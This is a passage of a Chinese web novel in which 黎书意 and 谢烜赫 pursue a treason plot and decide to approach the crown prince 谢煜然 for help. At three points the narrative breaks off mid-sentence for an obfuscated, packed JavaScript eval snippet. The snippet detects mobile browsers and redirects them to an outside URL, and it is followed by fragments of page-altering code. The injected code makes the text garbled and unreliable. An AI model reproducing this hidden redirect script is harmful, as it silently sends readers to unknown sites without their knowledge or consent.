黎书意欣然同意了,她的行踪越正常,梁祖庭的怀疑便越少。 至晚间,两姐妹一道回姚府,进入内院后她们话别分道,各自回屋准备去了。 黎书意打发府中侍女替她收拾行囊,只不过去两日而已,需要准备的东西并不多,换洗衣物带两三件足够了,重要的是见面礼。 吩咐完了,她转进书房,自行整理书案,主人尚在时家中便时刻受到监视,主人不在时一定会有人登堂入室,为了不被查出端倪,她不能留下任何可能会引起猜疑的东西。 走到书案前,她将近两日写的手稿装进木匣子里,打算贴身带着,几份兴致之余写的小诗则随意摆在桌上。 次日一早,天色将明,黎书意与姚书颜便带着侍卫仆从往城西去了。 马车驶出闹市,在道上徐徐前行,车轱辘滚动的声音单调绵长,两道百树凋零,不闻一声鸟鸣。 黎书意知道这趟外出被跟踪是少不了的,尽管她没有习武之人的敏锐感官,但直觉告诉她有目光正在注视。 挑开车帘一角,他看着易容成车夫与谢烜赫并坐的齐君屹,她原担心他会因为生疏而显得行迹可疑,可是齐君屹的模样一点不显突兀,这或许是家破人亡后为求生而历练所致。 在路上行了两个时辰,车子终于在鲁府大门前停下,黎书意撑着谢烜赫的手臂踏下马车,担惊受怕了一路,还好什么都没有发生。 虽然来得匆忙,并未事先通知,但是因着两家关系亲近,鲁府的管事直接笑着将她们迎进屋了。 到内院,一个端庄的妇人笑着迎出来,是鲁府的夫人,黎书意矮身问候道:“见过黄伯母。” 黄伯母看着她,亲切道:“此次前来,一路可还顺利?” “托伯母记挂,路上一切都好。” 黄伯母点头,领着她们往里走,边走边道:“你父兄不在家,这次来便多住些时日,也时常来这里走动走动。” “好。”黎书意应着。 两方见过,说了一会闲话,黎书意和表姐便随外祖母一同去探望卧病在床的赵祖母。 进了屋,看见铺满厚被褥的床上躺着一个形容枯槁的六旬老人,她脸上的皮肤皱得如同一个烂了的苹果。 记得小时候来客郡探亲,外祖母时常带黎书意来这里做客,赵祖母总会拿好吃的来招待,眼前的这一幕令她心头一酸,她走上前去,哽咽着轻声唤道:“赵祖母……” 赵祖母听见声音,混浊的眼睛移过来,认出她后费力地扯出一丝笑容,然后轻轻点了点头。 “祖母……”表姐也心疼地叫了一声。 作为未来的孙媳妇,赵祖母待表姐更热络些,只是因为太过虚弱,她说不出话来,便只拉着手。 在房里坐了一刻钟,祖孙三人起身离开,让病人可以好好休息。 出了房间,门外侍女报说黄夫人已经在正厅备好了晚膳,请她们过去用饭,三人便径直往正厅而去。 到厅中坐下,在丫鬟婆子们布置食案时,一个眉清目秀,身姿挺拔的年轻男子走了进来,他是鲁思衡,与表姐姚书颜前岁便定了亲,估计这两年就会完婚。 黎书意与他接触不算多,全是来这边探亲时遇见的,不过这人博览群书,且为人爽朗,很好相处,两人碰面,免不了互相问候一番。 客套完,菜也摆好了,大家谦让着落座,席间气氛良好,谈话主要集中在她这个一年半载见不着一次面的人身上,问了问她和父兄的近况,她一一回了。 饭毕,散席以后表姐与鲁公子说私话去了,黎书意则挽着外祖母的手回房了。 进屋在桌边坐下,外祖母同她说起少女时期和赵祖母的趣事,黎书意静静聆听,安慰说一切都会好起来的。 伤感的事说完,沉默了片息,外祖母转了话头问她:“事情可都处理好了?” 闻言,黎书意陷入沉默,事情自然指的是齐君屹,想到后面发生的一切,她看着外祖母的脸心里迟疑不定起来。 虽然她老人家目前身体还算不错,但也只比赵祖母小几岁,这事冲击过大,她担心她会承受不了。 “说吧。”孟氏看出了外孙女的纠结。 想着用不了几月这事便会浮出水面,现在差不多也是时候了,权衡了一下,黎书意最终决定还是说了,也算是先喂外祖母吃颗定心丸。 往门口扫过去,门外站着陈妈、兰亭和谢烜赫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545720|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话绝对安全,她起身将门合上。 回到座位上坐下,黎书意换上了正色,告知说:“外祖母,其实我此次来客郡并非专门为探亲而来。” 言毕,见外祖母并不惊讶。 “你来时我便感觉出你心里有事,原以为是因为太子殿下,还有你父兄出征之事,后来发现不是,”孟氏顿了顿,看着外孙女认真地问,“所以是为了什么?” 黎书意没有马上回话,在脑子里组织了一下语言,方才开口道:“外祖母是知道的,父亲与昭王交好,为了证明昭王的清白,为了让将军府不受牵连,其实父亲一直在暗中探查昭王谋反一事。” 说到这,她停下来观察外祖母的神色,见她眉头慢慢攒起,但表情还算镇定,于是便接着往下说:“由于父兄他们时常出征,几乎脱不开身,有些事便通过我来探查。” “太草率了。”孟氏闻言激动出声,显然不赞同。 黎书意赶紧安抚道:“外祖母且放心,我的身份不易引起猜疑,而且碰到危险的事我是不会参与的。” 孟氏听后情绪渐渐平复。 黎书意见外祖母接受良好,接下来便将事情通通交代了一遍。 讲完所有,顿了顿,她说道:“如今梁祖庭疑心未消,外孙女只能恳请外祖母暂留鲁府。” 孟氏闻言叹了口气,“你赵祖母这状况,我本来就打算多待一些时日。” “只是你——”孟氏担忧地看着外孙女,“你让我如何放心你一个人。” 这话说得黎书意心里暖烘烘的,她也想躲在外祖母的怀抱里,无忧无虑的,然而情况不允许,便道:“外祖母,我必须得回去,必须表现得完全不知情,否则所有人都很危险。” “唉……”孟氏无奈地叹气,也知此话在理,她摸着外孙女的脸,怜爱道,“苦了你了。” 黎书意将手附在她的手上,“不苦,这是我应该做的。” 在鲁府住了一个晚上,第二天午饭过后,黎书意和姚书颜告别鲁家人,踏上了返程。 回到姚府,日头已经偏西,走至门口,门房上前见礼道:“见过大姑娘和表姑娘。” 两人点头以应,正欲往里走,又听见门房报说:“回表姑娘,昨日太子殿下前来拜访。” 闻言,她们俱是一愣。 反应了一会,姚书颜看向旁边的人,八卦地问:“他来干嘛,难不成是特意来找你的?” 黎书意可没觉得自己有这么大的脸,猜测道:“应该是公事。” “那你打算怎么办?”姚书颜问。 黎书意耸肩答:“不怎么办。” 说毕,抬脚往里走,毕竟不是她闭门不见,而是错过了不是。 姚书颜立马追上去,她算是看出来了,自己这表妹对太子殿下当真是彻底绝了念想。 这样也挺好,天下男子何其多,她表妹这么好,还怕找不到一个一心一意对她好的人吗? 关于太子拜访的话题到此为止,姐妹俩继续朝里走,到了岔路口,姚书颜道:“我有些累,想先休息一会,迟些再吃晚饭。” “嗯。”黎书意点头。 看着表姐转身走了,她收回视线,转向西屋方向,然后对身后的谢烜赫、兰亭和齐君屹道:“走吧。” 62. 红薯 回到西屋,黎书意直接进了暖阁,车马劳顿,她也有点乏了。 兰亭打点完一切,端着盘点心进入屋中,“二姑娘,今日回来得仓促,厨房刚做完侍卫们的饭食,现在准备怕是要些时候,您可以先用些点心。” “嗯,放着吧。”黎书意懒声道,接着又补充说,“我肚子有些饿,不想等太久,让他们随便弄点吃的就好,连同你们的份一起。” “是。”兰亭应诺而去。 看小丫头走了,黎书意从瓷盘里拿了一块点心,凑到嘴边吃起来。 刚咬了一口,正嚼着,冷不丁听见谢烜赫问:“你真的不去回访谢煜然?” 她闻言抬起头,咽下口中的食物,肯定地说:“不去。” “那他若再来访呢?” 她想了想道:“看情况吧。” 毕竟谢煜然是太子,身份有别,她不能太拿乔了。 说毕,见谢烜赫默然不语,她也没有多想,又张嘴咬了一口手上的点心。 糕点甜腻,她只吃了两块便停嘴了,候了一刻钟,厨房送上一碗汤面,瓷碗里臊子丰富斑斓,面条根根分明,汤底金黄澄澈,旁边还另配了两碟小菜,看起来虽简单,闻着却很香。 瞥一眼站在一旁的谢烜赫,黎书意想着他应该也早饿了,省得来来去去也麻烦,便吩咐道:“再另外安排两张小案,把他俩的也一起端来吧。” 丫鬟领命而去,不一会儿,两张小案便在一旁布置好了,谢烜赫和兰亭与她同室而食。 吃毕晚饭,天已经擦黑,稍坐了一会,黎书意移步去书房了。 书房里安静整洁,似乎和离开时没什么两样,但是她还是发现了不同,比如书架上顺序错乱的藏书,再比如卷轴边角的褶皱。 母亲摆放书籍喜欢先按内容分类,再按书者姓名从左到右从上到下摆,这个习惯她沿袭下来了,看着这些细微的不同,她面色变得凝重,果如她所料,有人趁着她不在家偷偷潜入过。 她走到书架边,将藏书归位,心头想着但愿经过这一番清洗,能让梁祖庭彻底放下戒心,别再来找姚府的麻烦。 过了两日,黎书意又上书院去了,表姐看见她面上一惊,急忙将她拉进房中,关上门道:“今天你不该来这的。” 她懵懂地问:“什么意思?” “太子在这。” 听见这话,她眉头一皱,心下疑惑,便问:“他来这做什么?” “巡视呗。”姚书颜耸了耸肩,然后叹道,“他这太子在政事上倒是清明仁德,比他老爹要强。” 黎书意忽略表姐的犯上之语,不想再多谈谢煜然,她径自走向书架去整理书籍了。 未免与谢煜然碰面,她只待了小半个时辰,然后便辞别了表姐。 奈何天不遂人愿,人刚从典籍厅走出来没一会,还是给她撞上了。 只见不远处,司业落后谢煜然半步,在旁介绍着书院的布局,谢煜然顺着指示四处看着,扫看间,目光就这么与她遇上了。 周围人多口杂,她走也不是,不走也不是,犹豫间,见谢煜然对司业说了两句话,接着便朝她迈步走了过来。 这下好了,她彻底走不了了。 没几步,谢煜然已经来到她跟前,他目含期待地望着她,声音一贯的轻柔:“一起走走?” 想了想,她最终点头。 于是,两人便顺着广场一侧的小径走,几尺开外的地方,跟着兰亭和双戒。 沉默地走了十来步,谢煜然问:“在这里待得可还好?” “挺好的。”她随口道。 一问一答完,他们之间又陷入到沉默中,耳边只有前行的脚步声。 片刻后,谢煜然忽然说:“你父兄南征的事我很抱歉。” 过了这么些日子,黎书意早就看开了,她平和地回道:“你不必抱歉,他们身为武将,保家卫国理所当然。” “婠婠,你何必这样,就算做不成夫妻,我们还是朋友。” 朋友?黎书意可不赞同这话,且不说他们从前的关系,单提娶了妻的太子与一个尚未出阁的女子走得过近就很不妥了,不知会被外人议论成什么样子。 思及此,她对那亲密的称呼越发不适,于是放淡口吻道:“请殿下以后唤我的名字。” 又是这般急于撇清的态度,谢煜然的胸口一阵刺痛,顾忌着场合,他压下心中的烦躁,没有在这事上多纠缠。 平复了一下心情,想起这两日听到的传闻,他转了话题:“听说最近梁祖庭与你走得颇近?” 黎书意正走着,听见这话顿住脚步,扫向旁边的人道:“殿下有话请直说。” “梁祖庭心思深沉,你离他远一些。” 这话听得她有些不悦,这个人也来关心一下,那个人也来关心一下,好像因为她未出阁,随便一个男人靠近,不管她主动与否,那人都成了她未婚夫候选人了,她就不能是她自己吗? 想了想,她压下心中不喜,开口解释道:“我和他没什么关系,就像是现在和你一样,只不过是遇见了礼节性的问候而已。” 谈话再次陷入僵局,此时路也走到尽头,瞥了眼右手边的岔道,黎书意停下脚步,侧过头对一旁谢煜然道:“今天我出来得够久了,外祖母还在家中等我,就不与殿下多聊了。” 说毕,她欠身施了一礼,然后迈步拐道走了。 后面跟随的兰亭见状,急忙向太子殿下福了福身,旋即小跑着去追她家二姑娘了。 谢煜然站在原地,盯着远去的背影一脸怅然若失。 …… 隆冬时节,冷风横扫,大街上行人寥落,谢烜赫跨步进入香料店。 除了柜台前的方天,店中无一个客人,显得有几分冷清,不需要在人前刻意做戏,两人直接移步往后堂去了。 看着方天将门合上,谢烜赫开门见山问道:“可查出来了?” “回主子,查出来了。” “是谁?” “是太子殿下。” 竟然是谢煜然,谢烜赫心头微震,对这个结果有些措手不及,不过仔细想想也合理,毕竟他出现的时机太过巧合。 “昨日卧底的暗卫见那人半夜鬼鬼祟祟地出门了,就偷偷跟了出去,跟到河边,一个蒙面人从树林里走出,谈话中,那蒙面人说主子日前正在巡查郡中官学和盐铁厂,过几日便会巡查各大药铺,那卧底听后,给了接头人一张纸条,说上面的药铺都与逍遥丹有牵扯。”方天把传出的情报尽数报出。 谢烜赫听完情况,叮嘱道:“让他小心行事,别被那人发现。” “是。” 交流结束,谢烜赫从铺子里出来,汇入到大街上稀稀落落的路人之中,一边走一边陷在自己的思绪里。 竟然是谢煜然在查梁甫,这实在令他意外,在得知有第三方探查药厂时他便想好了,想着等摸清了对方的身份,了解了目的以后,说不定可以试着接触一下,现在他却开始犹豫了。 “买红薯买红薯,又香又甜的红薯!” 思绪被响亮的叫买声打断,鼻间传来淡淡的香甜气味,他循声望过去,看见一个衣着单薄的老婆婆站在炭炉边,动了恻隐之心,他走过去问:“多少钱一个?” “两文。” “把这几个熟的都包起来吧。”说着他掏出钱递过去。 老婆婆拿着数额远超本该给的碎银,露出了惊讶的眼神,随后连声感激道:“公子真是个好人!” 好人,他才不是,只不过是家里有一只馋嘴猫而已。 “公子请拿好。”不一会儿,两提红薯送到手边,他接过红薯继续往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545721|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到姚府,刚进西屋就听见暖阁传来的谈笑声,知是黎书意已经从书院回来了,他抬脚走进去。 黎书意正抱着手炉与兰亭说着闲话,见谢烜赫走了进来,瞥见他右手提着东西,好奇地问:“那是何物?” “烤红薯。” “还热吗?” “刚烤好没多久,现在用热度正好。” “那快拿出来呗。” 谢烜赫唇角微扬,果如他所料。 见二姑娘要吃红薯,兰亭自如地伸手去接,打算替二姑娘剥红薯皮,手刚伸出去,时野直接递了一提过来,张口说道:“这些你和他们分了吧,我替二姑娘剥。” 言毕,提着另一提越过她走到二姑娘跟前,然后径自开始剥皮,那双修长的手不一会便染黑了。 算了,低头瞧一眼手里沉甸甸的东西,兰亭决定今日便不阻拦他献殷勤,转身出门与院里的人分吃的去了。 将剥好的红薯用纸带裹住,谢烜赫伸手递到黎书意面前。 黎书意半点没客气,心安理得地接过,然后张嘴咬了一小口,红薯口感软糯,味道香甜,热度刚刚好。 吃完第一口,她想起正事,于是小声问谢烜赫:“那边可有眉目了?” 看她吃得香甜,谢烜赫有些不想说,但又无法忽视她期待地目光,纠结片刻,最后还是说了:“是谢煜然。” “竟然是他!”黎书意忍不住惊叫出声,想起午前与他见面的事,恍然悟过来,“所以刚刚他提醒我少接近梁祖庭,原来还有这层深意。” “你刚刚见过他?”话音刚落,谢烜赫投来一问。 瞟了他一眼,黎书意解释道:“我去书院找表姐,他碰巧在那里巡视。” “他和你提了梁祖庭?” “嗯。”黎书意点头,“他说梁祖庭心思深沉,让我不要靠得太近。” 说这话时,她忍不住观察谢烜赫的神色,她隐约觉得谢烜赫并不喜欢她与谢煜然纠缠不清,大约是承担了替兄长照顾他的职责,担心她犯蠢。 言毕,果见谢烜赫面色转冷。 “嗯……”她心虚地支吾着,想要说些什么,最终还是放弃了,便把话题转到正事上面,问道,“那现在你打算如何?” 之前他们谈过,如果第三方势力不会威胁到他们的话,可以考虑合作。 既然对象是谢煜然,那么他与梁甫是合作关系的推测便完全推翻了,因为他们是敌对关系,论剑拔弩张的程度,恐怕不比同将军府的小。 想到这,她有点激动地说:“敌人的敌人就是朋友,不如我们与他合作吧?” 谢烜赫抿唇注视着跃跃欲试的少女,既不同意也不反对。 “你担心?” 谢烜赫没说话。 “谢煜然与梁甫是敌对关系,四年前立储时梁甫曾数次表奏皇帝立三皇子为太子……” 看着不遗余力劝说的人,谢烜赫忽然明白过来为什么在得知第三方势力是谢煜然时他并不觉得惊喜了。 他与这个长了两月的堂兄天然就存在着互相竞争的关系,中间又夹着黎书意,战胜对方的渴望便更强烈了,大多时候,他并不想求他帮忙。 “虽然你命阁中弟子在这里做了部署,但是此次前来我们到底是以探亲的由头来的,明面上没什么可用之人,借助他的势力,既免了人力不足的问题,又可以少几分暴露的风险。”知道谢烜赫心里有顾虑,黎书意做出理性的分析。 说完,发现对面的人盯着她,似乎在神游太虚,便抬手在那双漂亮的凤眼跟前挥了挥,“你在听吗?” 眼前的手影令谢烜赫回神,黎书意说的话他都听见了,道理他都懂,只是难以决断罢了,沉吟片刻后道:“容我在考虑一下。” “好。”黎书意未再多言,毕竟事关生死,谨慎点没错。 63. 交涉 数九寒天,天气愈发冷了,晨起梳洗毕,黎书意便窝在暖阁里,她坐在书案前手执毛笔在纸上勾勒着景物的轮廓。 她希望自己能趁着这段时日多完成些书稿和画稿,这样《陈冤录》既能与案件齐头并进,又不至于辜负读者们的期待。 正画着,谢烜赫走了进来,只给了他一个眼神,她便继续专注手上的事,将魏石川吐露兵器作坊是严会之的部分给画完了,才终于停笔。 这时,闻谢烜赫开口道:“我决定与他合作。” 听见这话,她忙抬起头,有些激动地问:“你已经想好了?” “想好了。”谢烜赫点头。 昨夜,他躺在床上思考了很久,依靠如山的铁证和黎世伯、林文正的弹劾,虽然也可以拉梁甫下台,但是却会留下后患,他们一个因功高而备受忌惮,一个因直言纳谏而不被喜欢,让他们领头,恐会增加皇帝的猜忌与不满。 谢煜然则不同,作为当朝太子,他代表的是皇家,揭发重臣意图谋反这种差事放在他身上再合适不过。 黎书意从案边起身,既然已经决定了,就得从长计议,她走到门口嘱咐兰亭:“现在我要让他帮忙给画上色,有人找我你就说我在忙。” 说完,她将门合上,然后转头面对谢烜赫道:“我还以为你会再考虑两天呢,毕竟目前还不清楚他那边查到什么程度了。” “他是如何查到梁甫身上的我不清楚,但是我猜测他大概只查到逍遥丹这一层。”看着走近的人,谢烜赫说出自己的分析。 “怎么说?” 他解释道:“私自铸造兵器是抄家灭门的大罪,如果他真查到这个份上的话,应该就不会只是借着巡查这种柔和的方式了。” 黎书意点点头,这猜测倒也合理,毕竟昭王之乱时朝廷的行事是那般的雷厉风行。 “我会让暗卫去查查谢煜然这半年内的动向。” 黎书意赞同,毕竟事大,还是慎重一点好,忽而她又想到什么,便问:“那我们应该如何与他合作?” 谢煜然可不是寻常的膏粱纨绔,虽然他表面上洒脱风雅,但是实际上心思玲珑,因此他们的理由必须得令他信服。 关于这一点,昨晚下定决心要与谢煜然联手后,谢烜赫便仔细盘算起来,“这个不难,我们只需要隐去来客郡探查之事,将齐君屹的事如实告知就行了。” 闻言,黎书意垂眸思量着可行性,救齐君屹、夜遇刺客、发现内情,这一连串的事情本就是意外,用它们做理由确实合理,可以将将军府摘得干干净净。 只是此法也并非完全不冒险,毕竟这么做的话他们就得把齐君屹交出去,然而先前为了获得齐君屹的信任,她已经将自己的弱点告知对方了。 思及此,她抬起头说出自己的顾虑:“我们得确保齐君屹不会把先前的谈话说出去。” 谢烜赫早就想到了这一点,接话道:“一会我们先试探下他的态度,如果不值得信任的话,便另想他法吧。” “嗯。”黎书意点头,目前也只能如此了。 正事到这里便算谈完了,凝重的气氛慢慢变得松快。 静默片刻,谢烜赫移目望向案头,见案上纸张杂乱,柔声说:“你这几日是不是过于赶了。” 顺着他的视线,黎书意看着那堆画稿,没所谓地耸肩道:“总归也没其他的事。” “来吧,上色。”谢烜赫说着走到案前,拿起适才她刚完成的画作。 “嗯。”黎书意跟过去。 两人站在一起商量了一下用色,然后谢烜赫着手上色了,黎书意则开始作另一张画。 到兰亭敲门提醒他们用饭的时候,桌上已经有三副上完色的画稿了,没人知道他们刚刚在里面商量了惊心动魄的大事。 “端进来吧。” 说毕,门应声打开,人鱼贯而入。 最前边的是兰亭,她抬着一个铜盆,盆里的热水正冒着热气,后边紧跟着两名丫头,一进屋便自觉摆食案布菜去了。 黎书意起身走到兰亭身边,然后将双手放入盆中,水温刚刚好,寒凉的手顷刻间暖了。 拿白帕子擦干净手,她看着手上沾了些许颜料的谢烜赫,“你也过来净手吧。” “是,二姑娘。” 此时,菜已经布好了,满满一桌,色泽金黄,香气四溢。 明明是来探亲的,可是家人却都不在,黎书意一个人根本吃不了这么多,心下还在失落,丫鬟已经盛了碗白饭搁在她面前。 “二姑娘慢用,卑职先告退了。”谢烜赫净了手走到她身边。 黎书意很想叫他一起,动了动嘴,最后还是什么都没说。 用过午膳,黎书意懒懒地侧倚在榻上,抱着手炉放空自己,估摸着下人们也都吃过饭了,她打发兰亭把齐君屹叫来。 不多时,人来了。 在这里住了十来天,他已经把侍卫这个身份扮演得很好了,进门见了礼,仰头看着她问:“二姑娘,您有事找我?” 黎书意点了一下头,旋即转向一旁的兰亭道:“兰亭,你出去时把门合上,我有事要和他说。” 瞥了一眼站在对面岿然不动的时野,兰亭扁了扁嘴,到底还是挪动步子往门口走去,到了门外,她转身将门合上,反正已经被排除在外多少次了,也不在乎这一次了。 门一关上,屋里顷刻间恢复了温暖,黎书意看着站在眼前的人道:“过来坐吧。” “是。”齐君屹点头,旋即坐到了面对。 他有些拘谨,他可不会以为黎书意是来找他谈心的,静坐片刻,他主动问道:“二姑娘找我有何事?” 黎书意默默看着眼前面目清秀的男子,端视了好一会,方才开口道:“我前两日碰见了太子殿下,聊天期间得知他正在查梁家。” 太子在查梁家,齐君屹惊讶抬头,有点不可置信,也有点不明白对面的少女的意思。 看出了他的惊讶和疑惑,黎书意解释道:“我打算把从你身上获悉的事告诉他。” “二姑娘是打算借太子的力量铲除梁甫?”齐君屹诧异出声。 “是。”黎书意不置可否,“梁家在这里经营多年,势力根深蒂固,我此来带的人手根本不够,只有借助他才能成事。” 说到这,她顿住,直视着齐君屹的双眼,真诚地说:“因为你是关键的人证,所以想问一下你的意见。” 与太子联手,扳倒梁甫的胜算显然更大,他没道理不愿意,一想到他枉死的父母,折磨致死的弟弟,还有其他在苦寒之地煎熬的族亲,他便恨不得现在就将罪魁祸首千刀万剐,压制住滔天的恨意,他坚定地吐出三字:“我愿意!” “好。”黎书意点头,这是她意料之中的答案,因此没显得特别喜悦,接下来她要说的才是重点。 看了一眼侍立在侧的谢烜赫,她把目光回移到齐君屹身上,接着她站起身,走到齐君屹这边,福身一礼。 骤然看见一个千金大小姐对自己行如此大礼,齐君屹惊讶得不知道该如何反应,愣了一瞬,他急忙下榻制止道:“二姑娘折煞我了。” 黎书意悠悠起身,表情认真言辞恳切道:“我父兄暗查梁甫,一为自保,二为铲除奸佞,然而因为身份使然,若是暴露了,恐会引来不必要的麻烦,我恳求公子与太子殿下交涉时不要泄露将军府在追查梁甫的事。” 齐君屹闻言沉默了两息,紧接着他做出保证:“您放心,我不会透露半句的。” 这话并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545722|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是安抚之语,黎家先祖乃是西景的开国功臣,黎大将军更是为西景征战沙场半生,父亲在世时便时常夸赞。 齐君屹看着面前的少女,逃亡期间他曾在坊间听见百姓议论她与太子的情感纠葛,不少人为此唏嘘,说像大将军这样的肱骨之臣居然遭受排挤和猜忌,连带着自己女儿的婚事都难成。 …… 交涉既定,接下来便是等待时机了,在此期间,黎书意继续创作,她把这两日发生的事融入到故事中,写太子恰好来牙郡巡视。 天气越来越冷,她整日待在暖阁里,偶尔累了倦了,便拉着兰亭和院子里的丫头们围在火炉前说闲话。 随着调查的深入,谢烜赫不像从前一样,能一整日跟在她身边,他有时候一消失便是半天一天。 这一日,黎书意照例在书案前写作,她笔下的故事如今已经追赶上现实的步伐,刚好写到姚写意、辛君赫和孟氏三位主角正在商量要不要将严会之私自铸造兵器的事告知于太子,一串轻盈的脚步声徐徐接近。 知道是谢烜赫从外面回来了,由于正写到兴头上,她便没有理会,继续在纸上走笔龙蛇。 洋洋洒洒写了两刻钟,她方才停下笔,转了转酸涩的手腕,她终于想起了被自己忽略的谢烜赫。 抬眼往对面看过去,见他双手交叠在胸前,双目轻阖,呼吸均匀,面色沉静,俨然是睡着了。 大冷天的,就这么睡也不怕着凉,黎书意无奈地站起身,拿起搁在一旁的狐裘,朝谢烜赫走去。 走到身前她停步,倾身凑近了看,发现这人皮肤白净似细瓷,睫毛纤长像小扇,鼻梁高挺如玉峰,薄唇红若涂脂。 像是被羽毛轻轻搔过,她的心口一阵酥痒,不禁暗赞起来,这厮长得可真妖孽。 无声感叹完,她拉开了手中的狐裘,正准备往前盖,哪知面前的人忽然睁开了眼睛。 那黑曜石一样的双眸深邃而亮泽,此刻正静静地注视着自己,目光里似乎含着浅浅的笑意,黎书意没由来地心跳漏了一拍。 怔愣过后,她错开视线,慌乱地做出解释:“看你睡着了,打算给你盖上。” 说话间,还刻意晃了晃手里暖绒绒的狐裘,明明情况确实如此,她却莫名感到心虚。 谢烜赫起先的确睡着了,不过他一向觉浅,听见脚步声靠近时便醒了,嗅到那股熟悉的清雅香味,也就没有立刻睁眼。 尽管闭着眼睛,但他依旧能感觉得到黎书意正在看自己,心下到底有些好奇,最后还是没忍住睁眼了。 眼睛睁开,看见少女放大的俏脸,只见她双眼圆睁,拉着狐裘的手顿在半途,因为天寒,那挺翘的鼻头和光洁的两颊受冻泛着浅红,活像一只受惊的小白兔,他心里头一热,就控制不住地笑了。 黎书意本就尴尬,这会又看见他笑,心里便更不好意思了,想着该是她刚才偷看被察觉了。 一想到这,她的耳朵开始发热,手里的狐裘也变得烫手,不知道是盖呢还是不盖,最后便道:“既然你醒了,那就不用了吧。” 说完,转回到对面坐下,从小炉上拿起茶壶,倒了一杯茶推过去,说起正事:“他那边到底是什么情况?” 谢烜赫抬起杯子喝了一口茶,然后回答道:“根据方天所查,谢煜然是因为半年前查抄某个罪臣的府邸,在那里意外发现了一种丹药,因为有些关心便暗中调查,后来发现梁甫牵涉其中,于是顺藤摸瓜到这里。” 黎书意食指点着杯沿默然思忖,片刻后道:“那看来他确实还不知道私自铸造兵器的事。” 顿了顿,抬眼询问对面人的意见:“如今,他在客郡的巡查工作已经结束,我们是不是该递贴子了?” “嗯,你可以现在就写。” 64. 移交 次日,依照拜贴所书,午后黎书意便动身了,此次出行事关重大,她只带了兰亭、谢烜赫和齐君屹。 齐君屹充当车夫,谢烜赫负责护卫,兰亭随侍而坐,齐君屹的驾驭之术不比毕定边,马车摇摇晃晃地向谢煜然下榻的地点而去,恰如黎书意那颗七上八下的心。 坐着煎熬了许久,马车缓缓停下,谢烜赫低沉的声音随之传进来:“二姑娘,官驿到了。” 闻言,黎书意回神,因想事而呆滞的双眼终于动了,看着眼前的车帘,她竟然有两分退缩。 她并非沉不住气的人,此刻却慌得不行,尽管腹稿打了千百遍,临了还是免不了担忧害怕,毕竟一个不小心,可能就会暴露将军府正在查梁甫的秘密。 兰亭已经先一步起身,车帘被拉开,朔风如潮水灌入,冷意让她镇静了几分,做了个深呼吸,她弯腰起身。 “不必担忧,没问题的。”下车时,谢烜赫搀扶着她轻声说道。 她点头,旋即双脚踏上地面。 太子下榻在官驿,驿中的防卫自是严密无比的,门口立着六名带刀侍卫,他们站姿挺拔,面容冷肃。 因为已经事先递过拜贴,得了主人的准许,他们最终被轻松放行了。 提着备好的见面礼,黎书意走在驿馆前院的青砖路上,刚走没几步,谢煜然的侍卫双戒迎了过来,“黎二姑娘,殿下在花厅等着您呢。” “麻烦带路。”她客气回道,然后在双戒的带领下往花厅去了。 在距离门口尚有几步远时,黎书意停下脚步,回身对谢烜赫、兰亭和齐君屹道:“你们先在这里等着,我自己进去就行。” 说罢,便提着盒子朝前走去。 脚刚一迈进屋子,就见谢煜然起身迎了过来,他脸上露出浅浅笑意,声音轻柔:“你来了,我备了你喜欢的糕点。” “殿下费心了。”她礼貌地应着,说毕把手里的盒子递给走近的侍从,“这是府中珍藏的阳羡茶。” “快坐下吧。”谢煜然唤她。 她点头在对面坐下,还未及开口,一只精致的瓷盘推了过来,“我尝过,味道很不错。” 黎书意垂眸看着面前的点心,她当然知道味道不错,毕竟这段时日谢烜赫每隔几天便会买给她。 只是心中有事,她此刻毫无食欲,眼见对面的人一脸期待地望着她,考虑到自己有求于人,才来便拂他的意未免太过冷情,她只好抬手拿了一块,然后用袖子遮挡着用了。 吃完一块,她喝了一口茶,用丝帕擦过嘴。 这时,听见谢煜然说:“你在客郡待了一个多月了,若是近期打算回去,我可等你一道。” 事情还未解决,她不能就此离开,看着眼前的人,心想恐怕他的归期也得推迟,便推拒道:“父兄出征未归,我回去也是一人,所以想在这多留一些时日。” “既如此,我便不劝了。”谢煜然了然道,停顿片刻,他抬手招呼一旁的侍从,“把东西拿上来。” 不多会,侍从端着木托盘出来了,只见里面盛着几块光华的锦缎,谢煜然起身走过去,拉起锦缎的一角看着黎书意道:“前两日去街市巡查时,绸缎庄老板送了我几匹衣料,我看颜色很衬你,就留下了。” 黎书意的目光从锦缎上扫过,最后落到谢煜然身上,前几年谢煜然送过她许多礼物,古玩字画、珠宝首饰、绫罗绸缎无一不有,从前她可以心安理得地接受,现在却没办法。 